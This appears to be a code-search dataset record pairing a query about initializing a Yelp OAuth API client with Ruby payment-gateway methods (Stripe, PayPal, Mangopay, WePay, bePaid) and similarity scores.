"def pay_callback\n\t \torder = params[:order]\n\t \tif (order.present? and order[:status] != \"expired\")\n\t \t\tpayment = Payment.new({\n \t\t\t\tdocument_id: order[:custom],\n\t \t\t\tsigner_id: current_user.id,\n\t \t\t\tpayment_amount: order[:total_native][:cents],\n\t \t\t\tbitcoin_total_btc: order[:total_btc][:cents],\n\t \t\t\tbitcoin_total_native: order[:total_native][:cents],\n\t \t\t\tbitcoin_total_payout: order[:total_payout][:cents],\n\t \t\t\tbitcoin_transaction_id: order[:transaction][:id],\n\t \t\t\tbitcoint_receive_address: order[:receive_address],\n\t \t\t\tbitcoin_order_id: order[:id],\n\t \t\t\tbitcoin_status_order: order[:status]\n\t \t\t})\n\t \t\tpayment.save\n\t \tend\t\n\t \trender :text => \"OK\"\n\t end",
"def payments_in_use?\n payment_gateway.present? && payment_gateway.configured?\n end",
"def charge_paypal_account(amount)\n true\n end",
"def charge_paypal_account(amount)\n true\n end",
"def pay(payload)\n Pay.pay(payload)\n end",
"def prepare_gateway\n ActiveMerchant::Billing::Base.mode = gateway_mode\n begin\n @gateway = ActiveMerchant::Billing.const_get(\"#{gateway_name}Gateway\").new(gateway_credentials)\n @result[:gateway] = true\n end\n @result[:gateway]\n end",
"def gateway(token)\n request(\n __method__,\n :get,\n \"#{api_base}/gateway\",\n Authorization: token\n )\n end",
"def gateway(token)\n request(\n __method__,\n :get,\n \"#{api_base}/gateway\",\n Authorization: token\n )\n end",
"def new\n # Launch mangopayhooks creation if no hooks created yet\n MangopayHookJob.perform_now\n\n # On passe @order en argument de la méthode authorize car on n'a pas de modèle payment.\n # la méthode authorize s'exécute dans le fichier (payment_policy.rb)\n authorize @order\n # On créée un card web payin\n\n begin\n log_error = nil\n\n mangopay_card_web_pay_in = MangoPay::PayIn::Card::Web.create(\n \"Tag\": @order.mangopay_order_tag,\n \"AuthorId\": current_user.account.mangopay_id,\n \"CreditedUserId\": current_user.account.mangopay_id,\n \"DebitedFunds\": { \"Currency\": \"EUR\", \"Amount\": @order.amount_cents },\n \"Fees\": { \"Currency\": \"EUR\", \"Amount\": 0 },\n \"ReturnUrl\": default_url_options_for_mangopay[:host] + \"/courses/\" +\n @order.slot.course.id.to_s,\n \"CreditedWalletId\": current_user.account.wallet.mangopay_id,\n \"CardType\": \"CB_VISA_MASTERCARD\",\n \"SecureMode\": \"DEFAULT\",\n \"Culture\": \"FR\",\n \"StatementDescription\": \"ASANASANO\"\n )\n\n # j'enregistre le json de réponse dans mon order\n @order.update(payment: mangopay_card_web_pay_in)\n @order.state = \"pending\"\n @order.mangopay_id = mangopay_card_web_pay_in[\"Id\"]\n @order.save!\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"card_web_pay_in_creation\",\n mangopay_answer: mangopay_card_web_pay_in,\n user_id: current_user.id.to_i,\n error_logs: log_error)\n end\n\n redirect_to mangopay_card_web_pay_in[\"RedirectURL\"] # ouvre la page pour saisie CB\n sleep(5.0)\n flash[:notice] = \"Bien reçu. Votre commande est en cours de traitement!.\"\n end",
"def payment_gateway_type=(type)\n gateway_setting.gateway_type = type\n end",
"def gateway(a_config_file_name=nil)\n unless @@gateway\n payflow_pro_config = config(a_config_file_name)\n gw = ActiveMerchant::Billing::PayflowGateway.new({\n :login => @@payflow_pro_login,\n :password => @@payflow_pro_password,\n :partner => @@payflow_pro_partner,\n :certification_id => @@payflow_pro_certification_id\n }.merge(payflow_pro_config[:mode] == 'test' ? { :test => true } : {}))\n else\n gw = @@gateway\n end\n gw\n end",
"def payment\r\n return (deposit + credit_card_charge) if (payment_mode =~ /deposit/)\r\n return (balance + credit_card_charge) if (payment_mode =~ /balance/)\r\n raise \"Bad payment mode #{payment_mode}\"\r\n end",
"def payment(payment)\n raise NotImplementedError, \"TBK::Webpay::Logger::BaseLogger subclass must implement #payment method\"\n end",
"def pay\n # Find the user to pay.\n captain = User.find( params[:id] )\n\n # Charge amount owed over .971 to account for Stripe fee. This needs to be done here because the fee is being charged to the captain, so he needs to charge his players extra to account for the money being taken out of his take.\n amount = session[:amount_owed]/0.971\n # Calculate the fee amount that goes to the application.\n fee = (amount * Rails.application.secrets.fee_percentage).to_i\n\n begin\n charge_attrs = {\n amount: amount,\n currency: user.currency,\n source: params[:token],\n description: \"Test Charge via Stripe Connect\",\n application_fee: fee,\n destination: captain.stripe_user_id\n }\n\n # case params[:charge_on]\n # when 'connected'\n # p charge_attrs\n # # Use the user-to-be-paid's access token\n # # to make the charge directly on their account\n # charge = Stripe::Charge.create( charge_attrs, user.secret_key )\n # when 'platform'\n # # Use the platform's access token, and specify the\n # # connected account's user id as the destination so that\n # # the charge is transferred to their account.\n # charge_attrs[:destination] = user.stripe_user_id\n charge = Stripe::Charge.create( charge_attrs )\n # end\n\n flash[:notice] = \"Charged successfully! <a target='_blank' rel='#{params[:charge_on]}-account' href='https://dashboard.stripe.com/test/payments/#{charge.id}'>View in dashboard »</a>\"\n\n rescue Stripe::CardError => e\n error = e.json_body[:error][:message]\n flash[:error] = \"Charge failed! #{error}\"\n end\n\n redirect_to session[:saved_url]\n end",
"def stripe_payment\n if params[:stripe_token].blank?\n @error = I18n.t('order.stripe_token_blank')\n render \"api/v1/shared/error\"\n return\n end\n\n begin\n if my_stripe_customer = StripeCustomer.where(:token => params[:stripe_token]).first\n my_stripe_customer.params = \"#{my_stripe_customer.params} , #{params.to_s}\"\n my_stripe_customer.save\n else\n stripe_customer = Stripe::Customer.create(\n :description => \"Customer for Pocket Prints: #{params[:name]}, email: #{params[:email]}, phone: #{params[:phone]}\",\n :card => params[:stripe_token]\n )\n\n stripe_customer_attr = {token: params[:stripe_token], stripe_id: stripe_customer.id, \n name: params[:name], email: params[:email], phone: params[:phone], customer_id: @customer.id,\n device_name: params[:device_name], os_version: params[:os_version], params: params.to_s\n }\n\n my_stripe_customer = StripeCustomer.create(stripe_customer_attr)\n\n #@customer.update_attributes({ name: params[:name], email: params[:email], phone: params[:phone] })\n end\n\n @charge = Stripe::Charge.create(\n :customer => my_stripe_customer.stripe_id,\n :amount => (params[:amount].to_f * 100).to_i,\n :description => \"Payment for Pocket Prints order of Customer: #{params[:name]}, email: #{params[:email]}, phone: #{params[:phone]}\",\n :currency => \"AUD\"\n )\n\n rescue Exception => e\n Airbrake.notify_or_ignore(e) if defined?(Airbrake) && Rails.env.production?\n @error = e.message\n my_stripe_customer.update_attributes({error: @error}) if my_stripe_customer\n @error_code = ERROR_CODES[:stripe_paypal_error]\n \n render \"api/v1/shared/error\"\n return\n end\n end",
"def after_charge(payment:)\n if !payment[:additional_data].nil? && payment.dig(:additional_data, :is_payment_details_required).to_s.downcase == 'true'\n state_data = payment.dig(:additional_data, :details)\n payment_data = payment.dig(:additional_data, :payment_data)\n\n response = Api.payment_details(credentials, state_data, payment_data)\n\n if response.code.to_i == 200\n if VALID_STATUSES.include?(response['resultCode'].to_s)\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: response['pspReference'],\n amount_currency: payment[:amount_currency].to_s,\n amount_cents: payment[:amount_cents],\n external_payment_id: response['pspReference'],\n status: response['resultCode'],\n client_payload: response\n )\n else\n error_response(\n response['refusalReasonCode'],\n response['refusalReason'],\n response['resultCode'],\n payment[:payment_token]\n )\n end\n else\n error_response(\n response['errorCode'],\n response['message'],\n response['status'],\n payment[:payment_token]\n )\n end\n else\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: payment[:payment_token],\n amount_currency: payment[:amount_currency].to_s,\n amount_cents: payment[:amount_cents]\n )\n end\n end",
"def payment_instruction\n end",
"def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.donate_amount * 0.1\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Donate from #{self.name}\",\n :type => 'donation',\n :currency => 'USD',\n :amount => self.donate_amount, \n :fee => { \n :app_fee => app_fee,\n :fee_payer => 'payee'\n },\n :hosted_checkout => {\n :mode => 'iframe',\n :redirect_uri => redirect_uri\n } \n \n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n puts response\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\nend",
"def donate\n\n # amount is the amount that the user wants to donate\n\t\tamount = params[:donation][:amount].to_i\n # this is the amount that can be deferred to someone else\n # for example if someone wants to donate $1.00 and your policy is that\n # $0.05 will come out of every dollar to go towards a charity, then you would set\n # that amount here. This exists because of PayPal's adaptive payment system\n # https://www.x.com/developers/paypal/products/adaptive-payments\n\t\tweeve_amount = 0.01\n\t\t\n\t\t@donation = Donation.new\n\n # if this is a guest checkout (without the need to sign in)\n # refer to schema.rb for more details about guest checkouts\n if params[:guest_checkout]\n @guest = Guest.new(params[:guest])\n\t @guest.save\n @donation.user_id = -1\n else\n @user = current_usertype\n @donation.user_id = params[:user_id]\n end\n\n\t\t@project = Project.find(params[:project_id])\n\t\[email protected]_id = @project.id\n\t\t@npo = Npo.find_by_account_id(@project.account_id)\n\n # calls paypal with the right amounts\n # for more information on how to use this\n # refer to https://github.com/jpablobr/active_paypal_adaptive_payment\n\t\tif @donation.save && @project && @npo.paypal_email\n \n if params[:guest_checkout]\n @guest.update_attribute(:donation_id, @donation.id)\n end\n \n\t\t\tconfig = Weeverails::Application.config\n\n\t\t\tgateway = ActiveMerchant::Billing::PaypalAdaptivePayment.new(\n\t\t\t\t\t\t\t:login => config.paypal_login,\n\t\t\t\t\t\t\t:password => config.paypal_password,\n\t\t\t\t\t\t\t:signature => config.paypal_apikey,\n\t\t\t\t\t\t\t:appid => config.app_id )\n\n\t\t\trecipients = [{:email => @npo.paypal_email,\n\t\t\t\t\t\t\t :amount => amount,\n\t\t\t\t\t\t\t :primary => true},\n\t\t\t\t\t\t\t{:email => config.weeve_paypal_email,\n\t\t\t\t\t\t\t :amount => weeve_amount,\n\t\t\t\t\t\t\t :primary => false}\n\t\t\t\t\t\t\t ]\n\n\t\t\tresponse = gateway.setup_purchase(\n\t\t\t\t\t:currency_code => @npo.paypal_currency,\n\t\t\t\t\t:return_url => url_for(:action => :complete, :project_id => params[:project_id], :only_path => false),\n\t\t\t\t\t:cancel_url => url_for(:action => :cancel, :project_id => params[:project_id],:only_path => false),\n\t\t\t\t\t:ipn_notification_url => url_for(:action => :success, :donation_id => @donation.id, :only_path => false),\n\t\t\t\t\t:receiver_list => recipients\n\t\t\t)\n\n\t\t\tif response.success?\n\t\t\t\tredirect_to (gateway.redirect_url_for(response[:pay_key]))\n\t\t\telse\n\t\t\t\t#flash[:error] = \"There was an error in processing your donation, please try again or contact administration at [email protected]\"\n\t\t\t\tflash[:error] = response.inspect\n\t\t\t\tredirect_to :controller => :projects, :action => :show, :id => params[:project_id]\n\t\t\tend\n\t\telse\n\t\t\tflash[:error] = \"Invalid donation URL\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"def payment\n # Get the current user's last order (i.e. the current order)\n @order = @current_user.orders.last\n\n # Token automatically created by Checkout and sent through params\n token = params[:stripeToken]\n\n # Invoke action in cart.rb that calculates the total price of all items in the cart\n total_amount = (@cart.get_total_price * 100).to_i\n\n Stripe.api_key = Rails.application.secrets.stripe_api_secret\n\n # Make an API request to create a one-time charge containing the token,\n # currency, total amount (as an integer not a float) and description\n charge = Stripe::Charge.create({\n amount: total_amount,\n currency: 'aud',\n description: 'Purchase from Eight by Eight',\n source: token,\n })\n\n # Update the current order with the Stripe charge response data\n @order.update stripe_token: token, stripe_charge_response: charge\n\n # Checks whether the payment was successful\n unless @order.stripe_charge_response[\"outcome\"][\"network_status\"] == \"approved_by_network\"\n # If the payment was unsuccessful, set a flash error and redirect to orders#confirm_order\n flash[:order_error] = \"Transaction unsuccessful. Please contact your card issuer for more details.\"\n redirect_to confirm_order_path\n return\n end\n\n # Redirect to orders#complete_order\n redirect_to complete_order_path\n end",
"def process_billing!\n if payment.capture!\n next!(\"Captured #{formatted_total}\")\n else\n fail!(\"Could not capture payment due to a problem with the payment provider\")\n end\n end",
"def donate\n\n @context_user = @receiver.user\n \n # Test that the transfer money between the two people is a viable option\n rec_acc = @receiver.monetary_processor_account\n pay_acc = @sender.monetary_processor_account\n \n rec_usid = rec_acc.account_identifier\n pay_usid = pay_acc.account_identifier\n \n @donation.update_attributes do |d|\n d.receiver_wmid = rec_acc\n d.sender_wmid = pay_acc\n end\n store_donation\n \n res = WebMoney::Ext::Client.get_max_transaction_amount(pay_usid, rec_usid, @donation.purse_type[0].to_i)\n \n # Verify maximum transaction possible\n @max_amount = res.maxAmount\n if @max_amount < @amount.to_f\n @amount = @max_amount\n if @amount.to_i != -1\n flash.now[:warning] = \"The maximum that you can contribute is %s.\" / \"#{@amount}\"\n end\n end\n \n # We are confirmed, lets do it!\n if params[:confirm]\n \n # confirm their password\n @account_setting = current_user.account_setting\n unless @account_setting.validate_password(current_user,params[:password])\n flash.now[:error] = \"Invalid Password\".t\n return\n end\n \n # want to see the result logged for debugging?\n # WebMoney::Ext::Client.config.merge!({:debug => true, :wiredump => true})\n transfer = WebMoneyTransfer.create(\n :source_wmid => @sender.webmoney_account,\n :destination_wmid => @receiver.webmoney_account,\n :purse_type => @donation.purse_type[0].to_i,\n :amount => @donation.amount)\n \n res = WebMoney::Ext::Client.send_funds(\n pay_usid,\n rec_usid,\n transfer.request_number,\n @donation.purse_type[0].to_i,\n @donation.amount,\n @donation.item_name)\n \n if res.errordesc == 'Success'\n MonetaryDonation.from_webmoney_donation(@donation).save\n \n transfer.update_attribute(:success, true)\n flash[:success] = \"You have successfully transfered %s\" / [@donation.amount]\n clear_donation\n redirect_back_or_default '/'\n else\n transfer.update_attributes(:success => false, :response => res.errordesc)\n flash.now[:error] = res.errordesc.t\n end\n end\n end",
"def purchase!\n if adyen_cc_payment?\n capture!\n else\n super\n end\n end",
"def capture_payment(payment_id, currency, amount, merchant_account)\n fetch_route = find_route(__method__.to_s)\n requested_path = fetch_route[:path].gsub(':payment_id', payment_id)\n\n client.post(\n requested_path,\n fetch_route[:api],\n {\n amount: { currency: currency, value: amount },\n merchant_account: merchant_account\n }\n )\n end",
"def payment_gateway_params\n params.require(:payment_gateway).permit(:name,:site_id,:mode,:gateway_type,:config)\n end",
"def create\n\n campaign_id = params[:campaign_id]\n credit_card_id = params[:credit_card_id]\n amount = params[:amount]\n\n #testing\n campaign = Campaign.find_by_id(campaign_id)\n user_id = campaign.user_id\n wepay_payment_type = \"credit_card\"\n if(amount>1)\n if(campaign!=nil)\n #create the payment object\n payment = Payment.new({\n campaign_id: campaign_id,\n payer_id: user_id,\n wepay_payment_id: credit_card_id,\n wepay_payment_type: wepay_payment_type,\n amount: amount\n })\n if !payment.valid?\n render json: error(payment.errors.full_messages)\n end\n if payment.valid? && payment.create_checkout && payment.save\n campaign.update_amount_donated\n render json: {\"checkout_id\" => payment[\"wepay_checkout_id\"]}\n else\n render json: payment_invalid_error\n end\n end\n end\n end",
"def pay(payment)\n @total_paid += payment\n \"You fed $#{payment} to the meter.\"\n end",
"def path\n \"payment/process\"\n end",
"def gateway(gateway)\n @options[:gateway] = gateway\n end",
"def create_bepaid_bill\n # Don't touch real web services during of test database initialization\n return if Rails.env.test?\n\n user = self\n\n bp = BePaid::BePaid.new Setting['bePaid_baseURL'], Setting['bePaid_ID'], Setting['bePaid_secret']\n\n amount = user.monthly_payment_amount\n\n #amount is (amoint in BYN)*100\n bill = {\n request: {\n amount: (amount * 100).to_i,\n currency: 'BYN',\n description: 'Членский взнос',\n email: '[email protected]',\n notification_url: 'https://hackerspace.by/admin/erip_transactions/bepaid_notify',\n ip: '127.0.0.1',\n order_id: '4444',\n customer: {\n first_name: 'Cool',\n last_name: 'Hacker',\n },\n payment_method: {\n type: 'erip',\n account_number: 444,\n permanent: 'true',\n editable_amount: 'true',\n service_no: Setting['bePaid_serviceNo'],\n }\n }\n }\n req = bill[:request]\n req[:email] = user.email\n req[:order_id] = user.id\n req[:customer][:first_name] = user.first_name\n req[:customer][:last_name] = user.last_name\n req[:payment_method][:account_number] = user.id\n\n begin\n res = bp.post_bill bill\n logger.debug JSON.pretty_generate res\n rescue => e\n logger.error e.message\n logger.error e.http_body if e.respond_to? :http_body\n user.errors.add :base, \"Не удалось создать счёт в bePaid, проверьте лог\"\n end\n end",
"def payment\n if @amortization.present?\n @amortization.payment\n else\n nil\n end\n end",
"def receive_payment(transaction)\n self.credit(transaction.amount)\n self.save!\n transaction.subscription.reload # reloaded to that the paid_through date is correct\n transaction.message = \"now paid through #{self.paid_through}\"\n\n begin\n Freemium.mailer.deliver_invoice(transaction)\n rescue => e\n transaction.message = \"error sending invoice\"\n end\n end",
"def received (payment)\n @payment = payment\n\n mail to: payment.user.email, subject: \"Подтверждение пополнения баланса на kupibazar.com\"\n end",
"def checkout\n setup_response = gateway.setup_authorization(100,\n :ip => request.remote_ip,\n :return_url => url_for(:action => 'process_payment'),\n :cancel_return_url => url_for(:action => 'cancel'),\n :description => \"subscription\"\n )\n redirect_to gateway.redirect_url_for(setup_response.token)\nend",
"def valitation\n # Create a payment and send ID\n end",
"def gateway\n @config[:gateway]\n end",
"def pay\n #definitin de l'url de base\n base_payment_url = 'http://197.159.2.146:7086/sprintpayapi/payment/orangemoney/request'\n #definition des headers\n\n headers: {\n 'Postman-Token': '9669f6e7-402b-4dc9-a370-472194583c32',\n 'cache-control': 'no-cache',\n 'Authorization': 'SP:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',\n 'DateTime': 'YYYYYYYYYYYYYYYYYYYY',\n 'Content-Type': 'application/json'\n }\n\n #defintion du bodies/main content\n setBody: {\n \"amount\": 1,\n \"currency\": \"EUR\",\n \"firstName\": \"AMADOU\",\n \"lastName\": \"BAKARI\",\n \"address1\": \"Yaounde\",\n \"address2\": \"Nkolfoulou\",\n \"city\": \"Yaounde\",\n \"state\": \"Centre\",\n \"country\": \"FR\",\n \"postal\": \"0332\",\n \"mobileNumber\": \"237690000999\",\n \"emailId\": \"[email protected]\",\n \"spMerchandUrl\": \"http://sprint-pay.com/\"\n }\n\n #envoi du paiement\n response = httparty.post(\n base_payment_url,\n body: setBody,\n headers: headers\n )\n\n self.class.post(\n base_payment_url,\n body: setBody,\n headers: headers\n )\n #puts response\n\n end",
"def receipt\n gateway = params[:gateway]\n # only handling authorize.net transactions now\n if gateway == OPTIONS[:gateways][:authorize_net]\n @order = Order.find_by_id(params[:x_invoice_num])\n transaction_type = params[:x_type]\n amount = params[:x_amount]\n @confirmation_code = params[:x_auth_code]\n transaction_id = params[:x_trans_id]\n \n # process payment\n unless @order and @order.deal and @order.process_authorization(:gateway => gateway, :transaction_type => transaction_type, \n :amount => amount, :confirmation_code => @confirmation_code, :transaction_id => transaction_id)\n flash.now[:error] = \"There was a problem creating your coupons.\"\n end\n else\n go_home\n return\n end\n @next_controller = next_controller\n @deal_url = generate_deal_url(@order.deal)\n render \"payment/#{self.action_name}\"\n end",
"def create\n params[:payment][:amount].gsub!(/[$,]/, \"\")\n params[:payment][:amount] = (params[:payment][:amount].to_f * 100).to_i\n @payment = Payment.new(payment_params)\n\n if params[:booth_id]\n @payable = @booth = Booth.find(params[:booth_id])\n @payer = @booth.vendor\n else\n @payer = Vendor.find(params[:vendor_id])\n end\n\n @payment.payer = @payer\n @payment.payable = @payable\n\n if @payment.save\n if @payment.errors.empty?\n redirect_to(@payment.payable || @payment.payer, notice: \"Payment was successfully created.\")\n else\n redirect_to(@payment.payable || @payment.payer, alert: @payment.errors.full_messages.join(\".\\n\") + \".\")\n end\n else\n @editable = true\n render(:new)\n end\n end",
"def payment_params\n params.require(:payment).permit(:stripe_customer_token, :user_id, :email, :plan)\n end",
"def create\n gateway = SMSGateway.new\n @delivery = Delivery.new(delivery_params)\n @delivery.commodity_id = params[:delivery][:commodity]\n @delivery.farmer_id = params[:delivery][:farmer]\n @delivery.price = Commodity.find(@delivery.commodity_id).latest_price\n @delivery.total = delivery_params[:quantity].to_i * @delivery.price\n @delivery.user_id = current_user.id\n @delivery.paid_for = delivery_params[:paid_for] == \"1\"\n\n respond_to do |format|\n if @delivery.save\n gateway.send(@delivery.farmer.phone_number, \"Hi, #{@delivery.delivered_by}. We have taken note of your delivery of #{@delivery.quantity} litres of milk and you will be dully compensated. Thanks.\")\n if @delivery.paid_for\n create_payment(@delivery)\n end\n format.html { redirect_to deliveries_path, notice: 'Delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pay(amount, seller_paypal_account)\n\n # Build request object\n @pay = @api.build_pay({\n :actionType => \"PAY_PRIMARY\",\n :cancelUrl => \"http://warmshopping.com\",\n :currencyCode => \"USD\",\n :feesPayer => \"PRIMARYRECEIVER\",\n :ipnNotificationUrl => \"https://warmshopping.com/paypal/ipn_notify?paykey=${paykey}\",\n :receiverList => {\n :receiver => [\n {\n :amount => (amount).to_i,\n :email => \"[email protected]\", #MARKETPLACE ACCOUNT\n :primary => true\n },\n {\n :amount => (amount).to_i - ((amount) * 0.1).to_i,\n :email => seller_paypal_account, #SELLER ACCOUNT\n }\n ]\n },\n :returnUrl => \"http://warmshopping.com\" })\n\n # Make API call & get response\n @response = @api.pay(@pay)\n\n # Access response\n if @response.success? && @response.payment_exec_status != \"ERROR\"\n @response.payKey\n else\n @response.error[0].message\n end\n end"
] |
[
"0.7096746",
"0.6903911",
"0.68763196",
"0.6834233",
"0.67943394",
"0.670413",
"0.6697754",
"0.6635563",
"0.66245604",
"0.6622841",
"0.6622841",
"0.6607381",
"0.65889794",
"0.6459253",
"0.6447559",
"0.64430594",
"0.640652",
"0.640061",
"0.63818187",
"0.6370275",
"0.63486934",
"0.6335468",
"0.6323475",
"0.6235978",
"0.62023586",
"0.61851513",
"0.617845",
"0.61709386",
"0.61566746",
"0.61490476",
"0.6120637",
"0.611592",
"0.6094048",
"0.60907537",
"0.6070562",
"0.6070528",
"0.6066718",
"0.604608",
"0.6044788",
"0.60344744",
"0.6006636",
"0.5996651",
"0.5989731",
"0.5984193",
"0.598396",
"0.5983713",
"0.5981678",
"0.5969154",
"0.5960031",
"0.5959642",
"0.59562624",
"0.5946418",
"0.5937941",
"0.588845",
"0.5886393",
"0.5879184",
"0.5873162",
"0.58706236",
"0.5867447",
"0.58605886",
"0.5857423",
"0.5857423",
"0.585558",
"0.58532745",
"0.5851478",
"0.5851478",
"0.5851069",
"0.58464694",
"0.5843229",
"0.58309627",
"0.58298767",
"0.5829526",
"0.58291143",
"0.5825953",
"0.58119786",
"0.5805901",
"0.5800318",
"0.5798699",
"0.5794499",
"0.57927954",
"0.579202",
"0.5786739",
"0.57746285",
"0.57674456",
"0.57531095",
"0.57421315",
"0.57313496",
"0.573099",
"0.57296103",
"0.5720824",
"0.5719927",
"0.5716086",
"0.5711413",
"0.5703421",
"0.5702629",
"0.57021374",
"0.5701205",
"0.5699311",
"0.5697928",
"0.569739"
] |
0.6255797
|
23
|
Initializes the base object through which you access the Yelp API. Obtain API access here: +consumer_key+ OAuth2 Consumer Key +consumer_secret+ OAuth2 Consumer Secret +token+ OAuth2 Access Token +token_secret+ OAuth2 Access Secret
|
def initialize(consumer_key, consumer_secret, token, token_secret)
@consumer = OAuth::Consumer.new(consumer_key, consumer_secret, {:site => API_HOST})
@access_token = OAuth::AccessToken.new(@consumer, token, token_secret)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(api_key, secret_key, base_url='https://api.att.com')\n\t\t@api_key \t\t = api_key\n\t\t@secret_key = secret_key\n\t\t@base_url = base_url\n\t\t@grant_type = 'client_credentials'\n\t\t@scope = 'SPEECH'\n\t\t@access_token = ''\n\t\t@refresh_token = ''\n\t\t\n\t\tcreate_connection\n\t\tget_tokens\n\t\t\n\t\tself\n\tend",
"def initialize(access_token:, url: 'https://api.base-api.io')\n @users =\n Endpoints::Users.new(\n access_token: access_token,\n url: url\n )\n\n @files =\n Endpoints::Files.new(\n access_token: access_token,\n url: url\n )\n\n @images =\n Endpoints::Images.new(\n access_token: access_token,\n url: url\n )\n\n @sessions =\n Endpoints::Sessions.new(\n access_token: access_token,\n url: url\n )\n\n @emails =\n Endpoints::Emails.new(\n access_token: access_token,\n url: url\n )\n\n @passwords =\n Endpoints::Passwords.new(\n access_token: access_token,\n url: url\n )\n\n @mailing_lists =\n Endpoints::MailingLists.new(\n access_token: access_token,\n url: url\n )\n\n @forms =\n Endpoints::Forms.new(\n access_token: access_token,\n url: url\n )\n end",
"def initialize(oauth_token_key, oauth_token_secret, params = {})\n @http_logger = params[:logger]\n site = params[:site] || :prod\n @consumer = ::OAuth::Consumer.new(oauth_token_key,\n oauth_token_secret,\n :scheme => :query_string,\n # :scheme => :header,\n :http_method => :get,\n :site => OAUTH_SITES[site],\n :request_token_path => OAUTH_REQUEST_TOKEN_URL,\n :access_token_path => OAUTH_ACCESS_TOKEN_URL,\n :authorize_path => OAUTH_AUTHORIZATION_URL)\n\n if params[:application_type] == APPLICATION_TYPE_ONSITE\n @access_token = ::OAuth::AccessToken.new(@consumer, \"\", \"\")\n elsif params[:access_token]\n @access_token = ::OAuth::AccessToken.new(@consumer,\n params[:access_token],\n params[:access_token_secret])\n end\n if params[:request_token]\n @request_token = ::OAuth::RequestToken.new(@consumer,\n params[:request_token],\n params[:request_token_secret])\n end\n end",
"def initialize(consumer_key, consumer_secret)\n\t\t\t\t@consumer = OAuth::Consumer.new consumer_key, consumer_secret,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{ :site => 'http://twitter.com/',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:request_token_path => '/oauth/request_token',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:access_token_path => '/oauth/access_token',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:authorize_path => '/oauth/authorize',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:scheme => :header\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\tend",
"def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end",
"def initialize( user_token = nil, user_secret = nil )\n\t\t@consumer = OAuth::Consumer.new(TWOAUTH_KEY, TWOAUTH_SECRET, { :site=> TWOAUTH_SITE })\n\t\t@access_token = OAuth::AccessToken.new( @consumer, user_token, user_secret ) if user_token && user_secret\n end",
"def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend",
"def init\n init_oauth_access_token\n end",
"def initialize(oauth_token_key, oauth_token_secret, params = {})\n @myspacecontext = MySpace::MySpaceContext.new(oauth_token_key, oauth_token_secret, params )\n @myspacecontext.http_logger= params[:http_logger]\n @consumer = @myspacecontext.consumer\n @request_token= @myspacecontext.request_token\n @restv1 =RestV1.new(@myspacecontext)\n @restv9 =RestV9.new(@myspacecontext)\n @poco = PortableContact.new(@myspacecontext)\n @realstream = RealStream.new(@myspacecontext)\n @opensearch =OpenSearch.new(@myspacecontext)\n end",
"def initialize(api_key, api_secet, options={})\n @api_key, @api_secret = api_key, api_secet\n @consumer_options = options.merge(ApiOptions)\n end",
"def initialize(tokens_and_secrets = {})\n @oauth = KynetxAmApi::Oauth.new(tokens_and_secrets)\n end",
"def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end",
"def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end",
"def initialize(options = nil)\n @options = options || @@default_options\n @api_key = @options[:api_key] || @options[:oauth_consumer_key]\n @shared_secret = @options[:shared_secret]\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n \n if @options[:oauth_access_token] && @options[:oauth_access_token_secret]\n @access_token = OAuth::AccessToken.new(oauth_customer, @options[:oauth_access_token], @options[:oauth_access_token_secret])\n end\n end",
"def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end",
"def initialize(client_id, client_secret, version='v4', base='https://platform.pokitdok.com')\n @client_id = client_id\n @client_secret = client_secret\n @version = version\n\n @api_url = \"#{base}/api/#{version}\"\n @client = OAuth2::Client.new(@client_id, @client_secret,\n site: @api_url, token_url: '/oauth2/token')\n\n\n @scopes = {}\n @scopes['default'] = { scope: refresh_token }\n scope 'default'\n end",
"def initialize(rapid_api_endpoint, rapid_access_key, rapyd_secret_key)\n if rapid_api_endpoint.present? && rapid_access_key.present? && rapyd_secret_key.present?\n self.base_url = rapid_api_endpoint\n self.access_key = rapid_access_key\n self.secret_key = rapyd_secret_key\n self.rest_client = RestClientService.new(base_url)\n else\n raise StandardError, 'Missing paramteres'\n end\n end",
"def initialize(*args)\n raise ArgumentError, \"Requires at least the api_key and secret_key when instatiating\" if args.size == 0\n\n base_url = 'https://api.att.com'\n\n if args.size == 1 && args[0].instance_of?(Hash)\n args = args.shift\n @api_key = args[:api_key]\n @secret_key = args[:secret_key]\n @base_url = args[:base_url] || base_url\n set_ssl_verify args[:ssl_verify]\n else\n @api_key = args.shift\n @secret_key = args.shift\n @base_url = args.shift || base_url\n set_ssl_verify args.shift\n end\n\n @grant_type = 'client_credentials'\n @access_token = ''\n @refresh_token = ''\n\n create_connection 'application/json'\n\n get_tokens\n\n Actor.current\n end",
